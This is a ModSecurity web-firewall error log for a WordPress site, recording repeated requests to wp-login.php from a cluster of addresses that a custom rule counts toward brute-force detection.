[Wed Nov 19 20:46:47.349015 2025] [:error] [pid 12672:tid 12687] [client 185.238.231.33:62921] [client 185.238.231.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR28N_9vojl6X1cc5mUxEgAAAco"]
[Wed Nov 19 20:46:47.349767 2025] [:error] [pid 6644:tid 6656] [client 185.238.231.173:65197] [client 185.238.231.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR28N00i6Rf788MB6sbT9AAAAMo"]
[Wed Nov 19 20:49:51.928239 2025] [:error] [pid 6919:tid 6926] [client 185.238.231.201:50447] [client 185.238.231.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2870YFdN1s_9xJVUmD8AAAAQQ"]
[Wed Nov 19 20:49:51.949026 2025] [:error] [pid 6919:tid 6927] [client 185.238.231.173:27489] [client 185.238.231.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2870YFdN1s_9xJVUmD8QAAAQU"]
[Wed Nov 19 20:52:54.827663 2025] [:error] [pid 26664:tid 26667] [client 185.238.231.175:55955] [client 185.238.231.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR29popWc1yoj2P7MeAGVAAAAUA"]
[Wed Nov 19 20:52:54.844116 2025] [:error] [pid 12673:tid 12715] [client 185.238.231.41:33385] [client 185.238.231.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR29psab1F0fb062dH11tgAAAgs"]
[Wed Nov 19 20:55:18.043663 2025] [:error] [pid 6555:tid 6591] [client 213.171.212.83:53742] [client 213.171.212.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.171.212.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2-NkbVJm8eMsGMTCM32QAAAEA"]
[Wed Nov 19 20:55:23.887719 2025] [:error] [pid 6555:tid 6602] [client 213.171.212.83:53742] [client 213.171.212.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.171.212.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2-O0bVJm8eMsGMTCM34AAAAEs"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 19 20:55:54.525560 2025] [:error] [pid 6554:tid 6562] [client 185.238.231.38:50615] [client 185.238.231.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2-Wt8rvPWLafJFqmX_HAAAAAM"]
[Wed Nov 19 20:55:54.546352 2025] [:error] [pid 12643:tid 12665] [client 185.238.231.170:42847] [client 185.238.231.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2-WsaLCNSdLHNAGt76rwAAAZM"]
[Wed Nov 19 20:58:57.213189 2025] [:error] [pid 6555:tid 6615] [client 185.238.231.40:47893] [client 185.238.231.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2_EUbVJm8eMsGMTCM4oAAAAFg"]
[Wed Nov 19 20:58:57.214315 2025] [:error] [pid 12643:tid 12655] [client 185.238.231.180:51627] [client 185.238.231.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2_EcaLCNSdLHNAGt77XQAAAYk"]
[Wed Nov 19 21:02:30.774523 2025] [:error] [pid 12643:tid 12655] [client 185.238.231.187:37929] [client 185.238.231.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2_5saLCNSdLHNAGt78QwAAAYk"]
[Wed Nov 19 21:02:30.776284 2025] [:error] [pid 12673:tid 12708] [client 185.238.231.43:20219] [client 185.238.231.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2_5sab1F0fb062dH13ywAAAgQ"]
[Wed Nov 19 21:08:34.651738 2025] [:error] [pid 6644:tid 6658] [client 185.238.231.201:26443] [client 185.238.231.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3BUk0i6Rf788MB6sba0wAAAMw"]
[Wed Nov 19 21:08:34.704104 2025] [:error] [pid 6556:tid 6634] [client 185.238.231.182:57603] [client 185.238.231.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3BUpuL7hhgrmdM1mstCAAAAJA"]
[Wed Nov 19 21:11:41.533627 2025] [:error] [pid 12673:tid 12727] [client 185.238.231.174:32581] [client 185.238.231.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3CDcab1F0fb062dH152QAAAhc"]
[Wed Nov 19 21:11:41.616778 2025] [:error] [pid 12673:tid 12714] [client 185.238.231.194:45873] [client 185.238.231.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3CDcab1F0fb062dH152gAAAgo"]
[Wed Nov 19 21:14:46.297573 2025] [:error] [pid 6555:tid 6598] [client 185.238.231.171:53389] [client 185.238.231.171] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.171, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3CxkbVJm8eMsGMTCM6nwAAAEc"]
[Wed Nov 19 21:14:46.299672 2025] [:error] [pid 6555:tid 6593] [client 185.238.231.35:57025] [client 185.238.231.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3CxkbVJm8eMsGMTCM6oAAAAEI"]
[Wed Nov 19 21:17:48.742747 2025] [:error] [pid 12672:tid 12687] [client 185.238.231.33:61735] [client 185.238.231.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3DfP9vojl6X1cc5mU2_AAAAco"]
[Wed Nov 19 21:17:48.774425 2025] [:error] [pid 6554:tid 6565] [client 185.238.231.177:58923] [client 185.238.231.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3DfN8rvPWLafJFqmUBugAAAAY"]
[Wed Nov 19 21:20:51.946860 2025] [:error] [pid 12672:tid 12679] [client 185.238.231.191:40881] [client 185.238.231.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3EM_9vojl6X1cc5mU3eAAAAcI"]
[Wed Nov 19 21:20:51.947447 2025] [:error] [pid 6919:tid 6935] [client 185.238.231.187:20015] [client 185.238.231.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3EM0YFdN1s_9xJVUmIlwAAAQ0"]
[Wed Nov 19 21:23:54.932223 2025] [:error] [pid 6919:tid 6938] [client 185.238.231.36:49835] [client 185.238.231.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3E6kYFdN1s_9xJVUmI9QAAARA"]
[Wed Nov 19 21:23:54.936281 2025] [:error] [pid 6919:tid 6944] [client 185.238.231.175:52627] [client 185.238.231.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3E6kYFdN1s_9xJVUmI9gAAARY"]
[Wed Nov 19 21:26:56.986887 2025] [:error] [pid 6644:tid 6658] [client 185.238.231.189:21003] [client 185.238.231.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3FoE0i6Rf788MB6sbgnwAAAMw"]
[Wed Nov 19 21:26:56.986887 2025] [:error] [pid 6644:tid 6668] [client 185.238.231.169:35065] [client 185.238.231.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3FoE0i6Rf788MB6sbgngAAANY"]
[Wed Nov 19 21:29:59.082101 2025] [:error] [pid 6919:tid 6934] [client 185.238.231.171:45029] [client 185.238.231.171] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.171, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3GV0YFdN1s_9xJVUmJ3gAAAQw"]
[Wed Nov 19 21:29:59.099795 2025] [:error] [pid 12672:tid 12694] [client 185.238.231.167:46613] [client 185.238.231.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.167, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3GV_9vojl6X1cc5mU4wgAAAdE"]
[Wed Nov 19 21:33:00.743582 2025] [:error] [pid 6644:tid 6650] [client 185.238.231.41:58139] [client 185.238.231.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3HDE0i6Rf788MB6sbiowAAAMQ"]
[Wed Nov 19 21:33:00.744132 2025] [:error] [pid 12672:tid 12693] [client 185.238.231.189:25563] [client 185.238.231.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3HDP9vojl6X1cc5mU5YwAAAdA"]
[Wed Nov 19 21:36:02.148884 2025] [:error] [pid 6644:tid 6663] [client 185.238.231.201:35291] [client 185.238.231.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3Hwk0i6Rf788MB6sbjgQAAANE"]
[Wed Nov 19 21:36:02.235815 2025] [:error] [pid 12643:tid 12656] [client 185.238.231.39:38451] [client 185.238.231.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3HwsaLCNSdLHNAGt4BHAAAAYo"]
[Wed Nov 19 21:39:05.412409 2025] [:error] [pid 6556:tid 6640] [client 185.238.231.173:44897] [client 185.238.231.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3IeZuL7hhgrmdM1msxkQAAAJY"]
[Wed Nov 19 21:39:05.431213 2025] [:error] [pid 6644:tid 6653] [client 185.238.231.188:57083] [client 185.238.231.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3IeU0i6Rf788MB6sbkegAAAMc"]
[Wed Nov 19 21:42:08.157044 2025] [:error] [pid 12672:tid 12691] [client 185.238.231.171:48861] [client 185.238.231.171] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.171, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3JMP9vojl6X1cc5mU6uQAAAc4"]
[Wed Nov 19 21:42:08.191490 2025] [:error] [pid 12643:tid 12669] [client 185.238.231.172:24769] [client 185.238.231.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3JMMaLCNSdLHNAGt4B8AAAAZc"]
[Wed Nov 19 21:42:50.162662 2025] [:error] [pid 6556:tid 6638] [client 162.211.80.238:38142] [client 162.211.80.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.211.80.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3JWpuL7hhgrmdM1msyDQAAAJQ"]
[Wed Nov 19 21:43:11.463619 2025] [:error] [pid 12672:tid 12681] [client 162.211.80.238:39878] [client 162.211.80.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.211.80.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3Jb_9vojl6X1cc5mU65AAAAcQ"]
[Wed Nov 19 21:43:14.834444 2025] [:error] [pid 12672:tid 12680] [client 162.211.80.238:39878] [client 162.211.80.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.211.80.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3Jcv9vojl6X1cc5mU65QAAAcM"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 19 21:45:12.470488 2025] [:error] [pid 26664:tid 26678] [client 185.238.231.169:23077] [client 185.238.231.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3J6IpWc1yoj2P7MeAOYQAAAUs"]
[Wed Nov 19 21:45:12.526695 2025] [:error] [pid 12672:tid 12683] [client 185.238.231.203:29725] [client 185.238.231.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3J6P9vojl6X1cc5mU7HgAAAcY"]
[Wed Nov 19 21:48:15.700257 2025] [:error] [pid 6644:tid 6667] [client 185.238.231.176:58725] [client 185.238.231.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3Kn00i6Rf788MB6sbmKAAAANU"]
[Wed Nov 19 21:48:15.724162 2025] [:error] [pid 12643:tid 12659] [client 185.238.231.166:29693] [client 185.238.231.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3Kn8aLCNSdLHNAGt4CiQAAAY0"]
[Wed Nov 19 21:51:20.669315 2025] [:error] [pid 6554:tid 6561] [client 185.238.231.32:65475] [client 185.238.231.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3LWN8rvPWLafJFqmUFrgAAAAI"]
[Wed Nov 19 21:51:20.670353 2025] [:error] [pid 6554:tid 6565] [client 185.238.231.33:48977] [client 185.238.231.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3LWN8rvPWLafJFqmUFrwAAAAY"]
[Wed Nov 19 21:54:21.504213 2025] [:error] [pid 6555:tid 6599] [client 185.238.231.42:51041] [client 185.238.231.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3MDUbVJm8eMsGMTCM_fAAAAEg"]
[Wed Nov 19 21:54:21.523052 2025] [:error] [pid 6919:tid 6931] [client 185.238.231.175:21357] [client 185.238.231.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3MDUYFdN1s_9xJVUmNKAAAAQk"]
[Wed Nov 19 21:57:25.625949 2025] [:error] [pid 6919:tid 6938] [client 185.238.231.200:42797] [client 185.238.231.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3MxUYFdN1s_9xJVUmNUgAAARA"]
[Wed Nov 19 21:57:25.639081 2025] [:error] [pid 6554:tid 6577] [client 185.238.231.39:55657] [client 185.238.231.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3Mxd8rvPWLafJFqmUGlAAAABE"]
[Wed Nov 19 22:00:31.538560 2025] [:error] [pid 12672:tid 12694] [client 185.238.231.171:37049] [client 185.238.231.171] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.171, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3Nf_9vojl6X1cc5mU9BgAAAdE"]
[Wed Nov 19 22:00:31.547045 2025] [:error] [pid 6555:tid 6595] [client 185.238.231.173:51019] [client 185.238.231.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3Nf0bVJm8eMsGMTCNAAwAAAEQ"]
[Wed Nov 19 22:03:39.491026 2025] [:error] [pid 6919:tid 6926] [client 185.238.231.176:60415] [client 185.238.231.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3OO0YFdN1s_9xJVUmOzwAAAQQ"]
[Wed Nov 19 22:03:39.491026 2025] [:error] [pid 6644:tid 6654] [client 185.238.231.184:40739] [client 185.238.231.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3OO00i6Rf788MB6sbpnwAAAMg"]
[Wed Nov 19 22:08:49.006940 2025] [:error] [pid 6644:tid 6651] [client 185.238.231.35:53371] [client 185.238.231.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3PcU0i6Rf788MB6sbqfAAAAMU"]
[Wed Nov 19 22:08:49.010828 2025] [:error] [pid 6644:tid 6660] [client 185.238.231.36:57369] [client 185.238.231.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3PcU0i6Rf788MB6sbqfQAAAM4"]
[Wed Nov 19 22:11:58.940919 2025] [:error] [pid 6555:tid 6613] [client 185.238.231.162:35983] [client 185.238.231.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3QLkbVJm8eMsGMTCNBKgAAAFY"]
[Wed Nov 19 22:11:59.933667 2025] [:error] [pid 12672:tid 12687] [client 185.238.231.162:44861] [client 185.238.231.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3QL_9vojl6X1cc5mU-1AAAAco"]
